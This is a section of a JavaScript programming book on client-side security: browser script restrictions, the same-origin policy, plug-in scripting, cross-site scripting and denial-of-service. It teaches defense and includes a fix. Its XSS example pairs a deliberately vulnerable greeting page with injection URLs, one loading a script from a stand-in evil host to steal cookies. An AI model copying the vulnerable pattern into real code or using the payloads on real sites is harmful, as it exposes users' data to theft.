Section 13.8. JavaScript Security


13.8. JavaScript Security

Internet security is a broad and complex field. This section focuses on client-side JavaScript security issues.

13.8.1. What JavaScript Can't Do

The introduction of JavaScript interpreters into web browsers means that loading a web page can cause arbitrary JavaScript code to be executed on your computer. Secure web browsersand commonly used modern browsers appear to be relatively securerestrict scripts in various ways to prevent malicious code from reading confidential data, altering your data, or compromising your privacy.

JavaScript's first line of defense against malicious code is that the language simply does not support certain capabilities. For example, client-side JavaScript does not provide any way to read, write, or delete files or directories on the client computer. With no File object and no file-access functions, a JavaScript program cannot delete a user's data or plant viruses on a user's system.

The second line of defense is that JavaScript imposes restrictions on certain features that it does support. For example, client-side JavaScript can script the HTTP protocol to exchange data with web servers, and it can even download data from FTP and other servers. But JavaScript does not provide general networking primitives and cannot open a socket to, or accept a connection from, another host.

The following list includes other features that may be restricted. Note that this is not a definitive list. Different browsers have different restrictions, and many of these restrictions may be user-configurable:

  • A JavaScript program can open new browser windows, but, to prevent pop-up abuse by advertisers, many browsers restrict this feature so that it can happen only in response to a user-initiated event such as a mouse click.

  • A JavaScript program can close browser windows that it opened itself, but it is not allowed to close other windows without user confirmation. This prevents malicious scripts from calling self.close( ) to close the user's browsing window, thereby causing the program to exit.

  • A JavaScript program cannot obscure the destination of a link by setting the status line text when the mouse moves over the link. (It was common in the past to provide additional information about a link in the status line. Abuse by phishing scams has caused many browser vendors to disable this capability.)

  • A script cannot open a window that is too small (typically smaller than 100 pixels on a side) or shrink a window too small. Similarly, a script cannot move a window off the screen or create a window that is larger than the screen. This prevents scripts from opening windows that the user cannot see or could easily overlook; such windows could contain scripts that keep running after the user thinks they have stopped. Also, a script may not create a browser window without a titlebar or status line because such a window could spoof an operating dialog box and trick the user into entering a sensitive password, for example.

  • The value property of HTML FileUpload elements cannot be set. If this property could be set, a script could set it to any desired filename and cause the form to upload the contents of any specified file (such as a password file) to the server.

  • A script cannot read the content of documents loaded from different servers than the document that contains the script. Similarly, a script cannot register event listeners on documents from different servers. This prevents scripts from snooping on the user's input (such as the keystrokes that constitute a password entry) to other pages. This restriction is known as the same-origin policy and is described in more detail in the next section.

13.8.2. The Same-Origin Policy

The same-origin policy is a sweeping security restriction on what web content JavaScript code can interact with. It typically comes into play when a web page uses multiple frames, includes <iframe> tags, or opens other browser windows. In this case, the same-origin policy governs the interactions of JavaScript code in one window or frame with other windows and frames. Specifically, a script can read only the properties of windows and documents that have the same origin as the document that contains the script (see Section 14.8. to learn how to use JavaScript with multiple windows and frames).

The same-origin policy also comes up when scripting HTTP with the XMLHttpRequest object. This object allows client-side JavaScript code to make arbitrary HTTP requests but only to the web server from which the containing document was loaded (see Chapter 20 for more on the XMLHttpRequest object).

The origin of a document is defined as the protocol, host, and port of the URL from which the document was loaded. Documents loaded from different web servers have different origins. Documents loaded through different ports of the same host have different origins. And a document loaded with the http: protocol has a different origin than one loaded with the https: protocol, even if they come from the same web server.

It is important to understand that the origin of the script itself is not relevant to the same-origin policy: what matters is the origin of the document in which the script is embedded. Suppose, for example, that a script from domain A is included (using the src property of the <script> tag) in a web page in domain B. That script has full access to the content of the document that contains it. If the script opens a new window and loads a second document from domain B, the script also has full access to the content of that second document. But if the script opens a third window and loads a document from domain C (or even from domain A) into it, the same-origin policy comes into effect and prevents the script from accessing this document.

The same-origin policy does not actually apply to all properties of all objects in a window from a different origin. But it does apply to many of them, and, in particular, it applies to practically all the properties of the Document object (see Chapter 15). Furthermore, different browser vendors implement this security policy somewhat differently. (For example, Firefox 1.0 allows a script to call history.back( ) on different-origin windows, but IE 6 does not.) For all intents and purposes, therefore, you should consider any window that contains a document from another server to be off-limits to your scripts. If your script opened the window, your script can close it, but it cannot "look inside" the window in any way.

The same-origin policy is necessary to prevent scripts from stealing proprietary information. Without this restriction, a malicious script (loaded through a firewall into a browser on a secure corporate intranet) might open an empty window, hoping to trick the user into using that window to browse files on the intranet. The malicious script would then read the content of that window and send it back to its own server. The same-origin policy prevents this kind of behavior.

In some circumstances, the same-origin policy is too restrictive. It poses particular problems for large web sites that use more than one server. For example, a script from home.example.com might legitimately want to read properties of a document loaded from developer.example.com, or scripts from orders.example.com might need to read properties from documents on catalog.example.com. To support large web sites of this sort, you can use the domain property of the Document object. By default, the domain property contains the hostname of the server from which the document was loaded. You can set this property, but only to a string that is a valid domain suffix of itself. Thus, if domain is originally the string "home.example.com", you can set it to the string "example.com", but not to "home.example" or "ample.com". Furthermore, the domain value must have at least one dot in it; you cannot set it to "com" or any other top-level domain.

If two windows (or frames) contain scripts that set domain to the same value, the same-origin policy is relaxed for these two windows, and each window can interact with the other. For example, cooperating scripts in documents loaded from orders.example.com and catalog.example.com might set their document.domain properties to "example.com", thereby making the documents appear to have the same origin and enabling each document to read properties of the other.

13.8.3. Scripting Plug-ins and ActiveX Controls

Although the core JavaScript language and the basic client-side object model lack the filesystem and networking features that most malicious code requires, the situation is not quite as simple as it appears. In many web browsers, JavaScript is used as a "script engine" for other software components, such as ActiveX controls in Internet Explorer and plug-ins in other browsers. This exposes important and powerful features to client-side scripts. You'll see examples in Chapter 20, where an ActiveX control is used for scripting HTTP, and in Chapters 19 and 22, where the Java and Flash plug-ins are used for persistence and advanced client-side graphics.

There are security implications to being able to script ActiveX controls and plug-ins. Java applets, for example, have access to low-level networking capabilities. The Java security "sandbox" prevents applets from communicating with any server other than the one from which they were loaded, so this does not open a security hole. But it exposes the basic problem: if plug-ins are scriptable, you must trust not just the web browser's security architecture, but also the plug-in's security architecture. In practice, the Java and Flash plug-ins seem to have robust security and do not appear to introduce security issues into client-side JavaScript. ActiveX scripting has had a more checkered past, however. The IE browser has access to a variety of scriptable ActiveX controls that are part of the Windows operating system, and in the past some of these scriptable controls have included exploitable security holes. At the time of this writing, however, these problems appear to have been resolved.

13.8.4. Cross-Site Scripting

Cross-site scripting, or XSS, is a term for a category of security issues in which an attacker injects HTML tags or scripts into a target web site. Defending against XSS attacks is typically the job of server-side web developers. However, client-side JavaScript programmers must also be aware of, and defend against, cross-site scripting.

A web page is vulnerable to cross-site scripting if it dynamically generates document content and bases that content on user-submitted data without first "sanitizing" that data by removing any embedded HTML tags from it. As a trivial example, consider the following web page that uses JavaScript to greet the user by name:

 <script> var name = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Hello " + name); </script> 

This two-line script uses window.location.search to obtain the portion of its own URL that begins with ?. It uses document.write( ) to add dynamically generated content to the document. This page is intended to be invoked with a URL like this:

 http://www.example.com/greet.html?name=David 

When used like this, it displays the text "Hello David". But consider what happens when it is invoked with this URL:

 http://www.example.com/greet.html?name=%3Cscript%3Ealert('David')%3C/script%3E 

With this URL, the script dynamically generates another script (%3C and %3E are codes for angle brackets)! In this case, the injected script simply displays a dialog box, which is relatively benign. But consider this case:

 http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E 

Cross-site scripting attacks are so called because more than one site is involved. Site B (or even site C) includes a specially crafted link (like the one above) to site A that injects a script from site B. The script evil.js is hosted by the evil site B, but it is now embedded in site A, and can do absolutely anything it wants with site A's content. It might deface the page or cause it to malfunction (such as by initiating one of the denial-of-service attacks described in the next section). This would be bad for site A's customer relations. More dangerously, the malicious script can read cookies stored by site A (perhaps account numbers or other personally identifying information) and send that data back to site B. The injected script can even track the user's keystrokes and send that data back to site B.

In general, the way to prevent XSS attacks is to remove HTML tags from any untrusted data before using it to create dynamic document content. You can fix the greet.html file shown earlier by adding this line of code to remove the angle brackets around <script> tags.

 name = name.replace(/</g, "&lt;").replace(/>/g, "&gt;"); 

Cross-site scripting enables a pernicious vulnerability whose roots go deep into the architecture of the Web. It is worth understanding this vulnerability in depth, but further discussion is beyond the scope of this book. There are many online resources to help you defend against cross-site scripting. One important primary source is the original CERT Advisory about this problem: http://www.cert.org/advisories/CA-2000-02.html.

13.8.5. Denial-of-Service Attacks

The same-origin policy and other security restrictions described here do a good job of preventing malicious code from damaging your data or compromising your privacy. They do not protect against brute-force denial-of-service attacks, however. If you visit a malicious web site with JavaScript enabled, that site can tie up your browser with an infinite loop of alert( ) dialog boxes, forcing you to use, for example, the Unix kill command or the Windows Task Manager to shut your browser down.

A malicious site can also attempt to tie up your CPU with an infinite loop or meaningless computation. Some browsers (such as Firefox) detect long-running scripts and give the user the option to stop them. This defends against accidental infinite loops, but malicious code can use techniques such as the window.setInterval( ) command to avoid being shut down. A similar attack ties up your system by allocating lots of memory.

There is no general way that web browsers can prevent this kind of ham-handed attack. In practice, this is not a common problem on the Web since no one returns to a site that engages in this kind of scripting abuse!




JavaScript. The Definitive Guide
JavaScript: The Definitive Guide
ISBN: 0596101996
EAN: 2147483647
Year: 2004
Pages: 767

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net